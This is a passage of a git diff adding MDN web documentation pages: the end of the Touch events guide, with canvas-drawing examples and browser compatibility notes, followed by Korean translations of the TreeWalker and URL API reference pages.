+ ctx.beginPath();
+ ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+ ctx.lineTo(touches[i].pageX, touches[i].pageY);
+ ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8); // and a square at the end
+ ongoingTouches.splice(idx, 1); // remove it; we're done
+ } else {
+ log("can't figure out which touch to end");
+ }
+ }
+}
+</pre>
+
+<p>This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a>, we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.</p>
+
+<h4 id="Handling_canceled_touches">Handling canceled touches</h4>
+
+<p>If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the <code>handleCancel()</code> function below.</p>
+
+<pre class="brush: js">function handleCancel(evt) {
+ evt.preventDefault();
+ log("touchcancel.");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+  var idx = ongoingTouchIndexById(touches[i].identifier);
+ ongoingTouches.splice(idx, 1); // remove it; we're done
+ }
+}
+</pre>
+
+<p>Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.</p>
+
+<h3 id="Convenience_functions">Convenience functions</h3>
+
+<p>This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.</p>
+
+<h4 id="Selecting_a_color_for_each_touch">Selecting a color for each touch</h4>
+
+<p>In order to make each touch's drawing look different, the <code>colorForTouch()</code> function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.</p>
+
+<pre class="brush: js">function colorForTouch(touch) {
+ var r = touch.identifier % 16;
+ var g = Math.floor(touch.identifier / 3) % 16;
+ var b = Math.floor(touch.identifier / 7) % 16;
+ r = r.toString(16); // make it a hex digit
+ g = g.toString(16); // make it a hex digit
+ b = b.toString(16); // make it a hex digit
+ var color = "#" + r + g + b;
+ log("color for touch with identifier " + touch.identifier + " = " + color);
+ return color;
+}
+</pre>
+
+<p>The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#aaa".</p>
+
+<h4 id="Copying_a_touch_object">Copying a touch object</h4>
+
+<p>Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.</p>
+
+<pre class="brush: js">function copyTouch(touch) {
+ return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+}</pre>
+
+<h4 id="Finding_an_ongoing_touch">Finding an ongoing touch</h4>
+
+<p>The <code>ongoingTouchIndexById()</code> function below scans through the <code>ongoingTouches</code> array to find the touch matching the given identifier, then returns that touch's index into the array.</p>
+
+<pre class="brush: js">function ongoingTouchIndexById(idToFind) {
+ for (var i = 0; i &lt; ongoingTouches.length; i++) {
+ var id = ongoingTouches[i].identifier;
+
+ if (id == idToFind) {
+ return i;
+ }
+ }
+ return -1; // not found
+}
+</pre>
+
+<h4 id="Showing_what's_going_on">Showing what's going on</h4>
+
+<pre class="brush: js">function log(msg) {
+ var p = document.getElementById('log');
+ p.innerHTML = msg + "\n" + p.innerHTML;
+}</pre>
+
+<p>If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.</p>
+
+<p><a href="http://jsfiddle.net/Darbicus/z3Xdx/10/">jsFiddle example</a></p>
+
+<h2 id="Additional_tips">Additional tips</h2>
+
+<p>This section provides additional tips on how to handle touch events in your web application.</p>
+
+<h3 id="Handling_clicks">Handling clicks</h3>
+
+<p>Since calling <code>preventDefault()</code> on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call <code>preventDefault()</code> on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)</p>
+
+<pre class="brush: js">function onTouch(evt) {
+ evt.preventDefault();
+ if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+ return;
+
+ var newEvt = document.createEvent("MouseEvents");
+ var type = null;
+ var touch = null;
+
+ switch (evt.type) {
+ case "touchstart":
+ type = "mousedown";
+ touch = evt.changedTouches[0];
+ break;
+ case "touchmove":
+ type = "mousemove";
+ touch = evt.changedTouches[0];
+ break;
+ case "touchend":
+ type = "mouseup";
+ touch = evt.changedTouches[0];
+ break;
+ }
+
+ newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+ touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+ evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+ evt.originalTarget.dispatchEvent(newEvt);
+}
+</pre>
+
+<h3 id="Calling_preventDefault()_only_on_a_second_touch">Calling preventDefault() only on a second touch</h3>
+
+<p>One technique for preventing things like <code>pinchZoom</code> on a page is to call <code>preventDefault()</code> on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+ <td>{{Spec2('Touch Events 2')}}</td>
+ <td>Added <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code> properties</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+ <td>{{Spec2('Touch Events')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<p>Note that unfortunately touch events may not fire at all on laptops with touch functionality (<a href="/en-US/docs/">test page</a>).</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("22.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+ {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("6.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>11</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The <code>dom.w3c_touch_events.enabled</code> tri-state preference can be used to disable (0), enable (1), and auto-detect (2) support for standard touch events; by default, they're on auto-detect (2).</p>
+
+<p>As of Gecko 24.0 {{geckoRelease("24.0")}}, the touch events support introduced with Gecko 18.0 {{geckoRelease("18.0")}} has been disabled on the desktop version of Firefox ({{bug(888304)}}), as some popular sites including Google and Twitter were not working properly. Once the bug is fixed, the API will be enabled again. To enable it anyway, open <code>about:config</code> and set the <code>dom.w3c_touch_events.enabled</code> preference to <code>2</code>. The mobile versions including <a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a> and <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> are not affected by this change.</p>
+
+<p>[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Prior to Gecko 6.0 {{geckoRelease("6.0")}}, Gecko offered a <a href="/en-US/docs/Web/Guide/Events/Touch_events_(Mozilla_experimental)">proprietary touch event API</a>. That API is now deprecated; you should switch to this one.</p>
+</div>
+
+<h3 id="Firefox_touch_events_and_multiprocess_(e10s)">Firefox, touch events, and multiprocess (e10s)</h3>
+
+<p>In Firefox, touch events are disabled when e10s (electrolysis; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.</p>
+
+<p>You can test whether e10s is disabled by going to <code>about:support</code> and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.</p>
+
+<p>If you want to force e10s to be on — to explicitly reenable touch events support — you need to go to <code>about:config</code> and create a new boolean preference <code>browser.tabs.remote.force-enable</code>. Set it to <code>true</code>, restart the browser, and e10s will be enabled regardless of any other settings.</p>
diff --git a/files/ko/web/api/treewalker/currentnode/index.html b/files/ko/web/api/treewalker/currentnode/index.html
new file mode 100644
index 0000000000..1e68eabbb5
--- /dev/null
+++ b/files/ko/web/api/treewalker/currentnode/index.html
@@ -0,0 +1,63 @@
+---
+title: TreeWalker.currentNode
+slug: Web/API/TreeWalker/currentNode
+tags:
+ - API
+ - DOM
+ - Property
+ - Reference
+ - TreeWalker
+translation_of: Web/API/TreeWalker/currentNode
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><code><strong>TreeWalker.currentNode</strong></code> 속성은 {{domxref("TreeWalker")}}가 현재 가리키고 있는 {{domxref("Node")}}를 나타낸다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.currentNode;
+<code><em>treeWalker</em></code>.currentNode = <em>node</em>;
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+ document.body,
+ NodeFilter.SHOW_ELEMENT,
+ { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+ false
+);
+root = treeWalker.currentNode; // 첫번째 엘리먼트인 루트 엘리먼트!
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-treewalker-currentnode', 'TreeWalker.currrentNode')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>{{SpecName('DOM2 Traversal_Range')}}에서 바뀌지 않음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-currentNode', 'TreeWalker.currentNode')}}</td>
+ <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.TreeWalker.currentNode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("TreeWalker")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/treewalker/index.html b/files/ko/web/api/treewalker/index.html
new file mode 100644
index 0000000000..1f2a520efd
--- /dev/null
+++ b/files/ko/web/api/treewalker/index.html
@@ -0,0 +1,168 @@
+---
+title: TreeWalker
+slug: Web/API/TreeWalker
+tags:
+ - API
+ - DOM
+ - Reference
+translation_of: Web/API/TreeWalker
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+</div>
+
+<p><strong><code>TreeWalker</code></strong> 오브젝트는 도큐먼트 서브트리의 노드들과 그 안에서의 위치를 나타낸다.</p>
+
+<p><code>TreeWalker</code> 는 {{domxref("Document.createTreeWalker()")}} 메소드로 생성할 수 있다.</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<p><em>이 인터페이스는 어떤 프라퍼티도 상속하지 않는다.</em></p>
+
+<dl>
+ <dt>{{domxref("TreeWalker.root")}} {{readonlyInline}}</dt>
+ <dd><code>TreeWalker</code> 를 생성할 때 지정한 루트 노드를 나타대는 {{domxref("Node")}}를 반환한다.</dd>
+ <dt>{{domxref("TreeWalker.whatToShow")}} {{readonlyInline}}</dt>
+ <dd>제공해야할 {{domxref("Node")}} 유형을 기술하는 <code>unsigned long</code> 비트마스크를 반환한다. 일치하지 않는 노드들은 건너뛰지만 관련된 경우 그 자식들을 포함할 수 있다. 가능한 값들은:
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">상수</td>
+ <td class="header">숫자 값</td>
+ <td class="header">설명</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ALL</code></td>
+ <td><code>-1</code> ( <code>unsigned long의 최대 값</code>)</td>
+ <td>모든 노드를 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+ <td><code>2</code></td>
+ <td>속성 {{ domxref("Attr") }} 노드들을 보여준다. {{ domxref("Attr") }}노드가 루트인 {{ domxref("TreeWalker") }}를 생성할 때에만 의미가 있다. 이 경우, 그 속성 노드가 그 반복 또는 순회에 첫 위치로 나타남을 의미한다. 속성은 결코 다른 노드의 자식이 아니기 때문에 도큐먼트 트리를 순회할 때는 나타나지 않는다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+ <td><code>8</code></td>
+ <td>{{ domxref("CDATASection") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_COMMENT</code></td>
+ <td><code>128</code></td>
+ <td>{{ domxref("Comment") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+ <td><code>256</code></td>
+ <td>{{ domxref("Document") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+ <td><code>1024</code></td>
+ <td>{{ domxref("DocumentFragment") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+ <td><code>512</code></td>
+ <td>{{ domxref("DocumentType") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+ <td><code>1</code></td>
+ <td>{{ domxref("Element") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+ <td><code>32</code></td>
+ <td>{{ domxref("Entity") }} 노드들을 보여준다. {{ domxref("Entity") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Entity") }} 노드가 그 순회의 첫 위치에 나타남을 의미한다. 엔티티들은 도큐먼트 트리의 일부가 아니기 때문에 도큐먼트 트리를 순회할 때 나타나지 않는다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+ <td><code>16</code></td>
+ <td>{{ domxref("EntityReference") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+ <td><code>2048</code></td>
+ <td>{{ domxref("Notation") }} 노드들을 보여준다. {{ domxref("Notation") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Notation") }} 노드가 순회의 첫 위치에 나타남을 의미한다, 그들은 도큐먼트 트리를 순회할 때 나타나지 않는다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+ <td><code>64</code></td>
+ <td>{{ domxref("ProcessingInstruction") }} 노드들을 보여준다.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_TEXT</code></td>
+ <td><code>4</code></td>
+ <td>{{ domxref("Text") }} 노드들을 보여준다.</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("TreeWalker.filter")}} {{readonlyInline}}</dt>
+ <dd>의미있는 노드들을 선택하기 위해 사용하는 {{domxref("NodeFilter")}}를 반환한다.</dd>
+ <dt>{{domxref("TreeWalker.expandEntityReferences")}} {{readonlyInline}}{{obsolete_inline}}</dt>
+ <dd>한 {{domxref("EntityReference")}}를 버릴 때 그 것의 전체 서브트리도 같이 버려야함을 표시하는 {{domxref("Boolean")}}이다.</dd>
+ <dt>{{domxref("TreeWalker.currentNode")}}</dt>
+ <dd><code>TreeWalker</code>가 현재 가리키고 있는 {{domxref("Node")}}이다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em>이 인터페이스는 아무 메서드도 상속하지 않는다.</em></p>
+
+<div class="note">
+<p><em>TreeWalker는 보이는 DOM 노드만 고려한다는 것에주의하라.</em></p>
+</div>
+
+<dl>
+ <dt>{{domxref("TreeWalker.parentNode()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 도큐먼트 순서의 첫번째 보이는 조상으로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 <em>루트 노드</em>보다 앞이면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.firstChild()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 현재 노드의 첫번째 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.lastChild()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 현재 노드의 마지막 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.previousSibling()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 이전 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.nextSibling()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 다음 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.previousNode()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 도큐먼트 순서의 이전 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 <em>루트 노드</em>보다 앞이면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.nextNode()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 도큐먼트 순서의 다음 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 <em>루트 노드</em>보다 앞이면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-treewalker', 'TreeWalker')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Removed the <code>expandEntityReferences</code> property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker', 'TreeWalker')}}</td>
+ <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.TreeWalker")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>생성 메소드: {{domxref("Document.createTreeWalker()")}}.</li>
+ <li>관련된 인터페이스: {{domxref("NodeFilter")}}, {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/ko/web/api/url/createobjecturl/index.html b/files/ko/web/api/url/createobjecturl/index.html
new file mode 100644
index 0000000000..cd38dcd8ea
--- /dev/null
+++ b/files/ko/web/api/url/createobjecturl/index.html
@@ -0,0 +1,101 @@
+---
+title: URL.createObjectURL()
+slug: Web/API/URL/createObjectURL
+tags:
+ - API
+ - Method
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/createObjectURL
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><span class="seoSummary"><strong><code>URL.createObjectURL()</code></strong> 정적 메서드는 주어진 객체를 가리키는 URL을 {{domxref("DOMString")}}으로 반환합니다.</span> 해당 URL은 자신을 생성한 창의 {{domxref("document")}}가 사라지면 함께 무효화됩니다.</p>
+
+<p>객체 URL을 해제하려면 {{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}을 호출하세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 기능은 메모리 누수의 가능성으로 인해 <a href="/ko/docs/Web/API/Service_Worker_API">Service Worker</a>에서 사용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>objectURL</em> = URL.createObjectURL(<em>object</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>객체 URL을 생성할 {{domxref("File")}}, {{domxref("Blob")}}, {{domxref("MediaSource")}} 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 <code>object</code>의 참조 URL을 담은 {{domxref("DOMString")}}</p>
+
+<ul>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/API/File/Using_files_from_web_applications#예시_객체_URL을_사용하여_이미지_표시하기">객체 URL을 사용하여 이미지 표시하기</a>를 보세요.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="메모리_관리">메모리 관리</h3>
+
+<p>같은 객체를 사용하더라도, <code>createObjectURL()</code>을 매번 호출할 때마다 새로운 객체 URL을 생성합니다. 각각의 URL을 더는 쓰지 않을 땐 {{domxref("URL.revokeObjectURL()")}}을 사용해 하나씩 해제해줘야 합니다.</p>
+
+<p>브라우저는 불러온 문서를 해제할 때 객체 URL도 자동으로 해제합니다. 그러나 최적의 성능과 메모리 사용량을 위해서, 객체 URL을 해제해도 안전하다면 그렇게 해야 합니다.</p>
+
+<h3 id="미디어_스트림_객체_URL">미디어 스트림 객체 URL</h3>
+
+<p>구 Media Source 명세에서는 {{HTMLElement("video")}} 요소에 스트림을 부착하려면 {{domxref("MediaStream")}}의 객체 URL을 생성했어야 했습니다. 이제 이런 과정은 필수가 아니며, 브라우저도 지원을 중단하고 있습니다.</p>
+
+<div class="warning">
+<p><strong>중요:</strong> 아직 미디어 요소에 {{domxref("URL.createObjectURL", "createObjectURL()")}}을 사용해 스트림을 부착하고 있다면, {{domxref("HTMLMediaElement.srcObject", "srcObject")}}에 <code>MediaStream</code>을 직접 설정하도록 코드를 수정해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API', '#dfn-createObjectURL', 'createObjectURL()')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Source Extensions', '#dom-url-createobjecturl', 'URL')}}</td>
+ <td>{{Spec2('Media Source Extensions')}}</td>
+ <td>
+ <p>MediaSource extension.</p>
+
+ <p>Older versions of this specification used <code>createObjectURL()</code> for {{domxref("MediaStream")}} objects; this is no longer supported.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.createObjectURL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications" title="Using files from web applications">웹 애플리케이션에서 파일 사용하기</a></li>
+ <li>{{domxref("URL.revokeObjectURL()")}}</li>
+ <li>{{domxref("HTMLMediaElement.srcObject")}}</li>
+ <li>{{domxref("FileReader.readAsDataURL()")}}</li>
+</ul>
diff --git a/files/ko/web/api/url/hash/index.html b/files/ko/web/api/url/hash/index.html
new file mode 100644
index 0000000000..e14c99aabb
--- /dev/null
+++ b/files/ko/web/api/url/hash/index.html
@@ -0,0 +1,62 @@
+---
+title: URL.hash
+slug: Web/API/URL/hash
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/hash
+---
+<div>{{ APIRef("URL API") }}</div>
+
+<p><span class="seoSummary">{{domxref("URL")}} 인터페이스의 <strong><code>hash</code></strong> 속성은 맨 앞의 <code>'#'</code>과 함께 URL의 프래그먼트 식별자를 담고 있는 {{domxref("USVString")}}입니다.</span></p>
+
+<p>프래그먼트에는 <a href="/en-US/docs/Glossary/percent-encoding">퍼센트 디코딩</a>을 적용하지 않습니다. URL이 프래그먼트 식별자를 포함하지 않은 경우 빈 문자열을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>string</em> = <em>url</em>.hash
+<em>url</em>.hash = <em>newHash</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href#예제');
+console.log(url.hash); // Logs: '#예제'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-hash', 'URL.hash')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.hash")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/host/index.html b/files/ko/web/api/url/host/index.html
new file mode 100644
index 0000000000..b29da1bd73
--- /dev/null
+++ b/files/ko/web/api/url/host/index.html
@@ -0,0 +1,67 @@
+---
+title: URL.host
+slug: Web/API/URL/host
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/host
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>host</code></strong> 속성은 URL의 호스트, 즉 {{domxref("URL.hostname", "hostname")}}와 함께, {{glossary("port", "포트")}}가 존재하는 경우 <code>':'</code>과 그 뒤의 {{domxref("URL.port", "port")}}를 포함하는 {{domxref("USVString")}} 문자열입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>host</em> = <em>url</em>.host
+<em>url.<code>host</code></em> = <em>newHost</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+
+url = new URL('https://developer.mozilla.org:443/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+// The port number is not included because 443 is the scheme's default port
+
+url = new URL('https://developer.mozilla.org:4097/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org:4097"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-host', 'URL.host')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
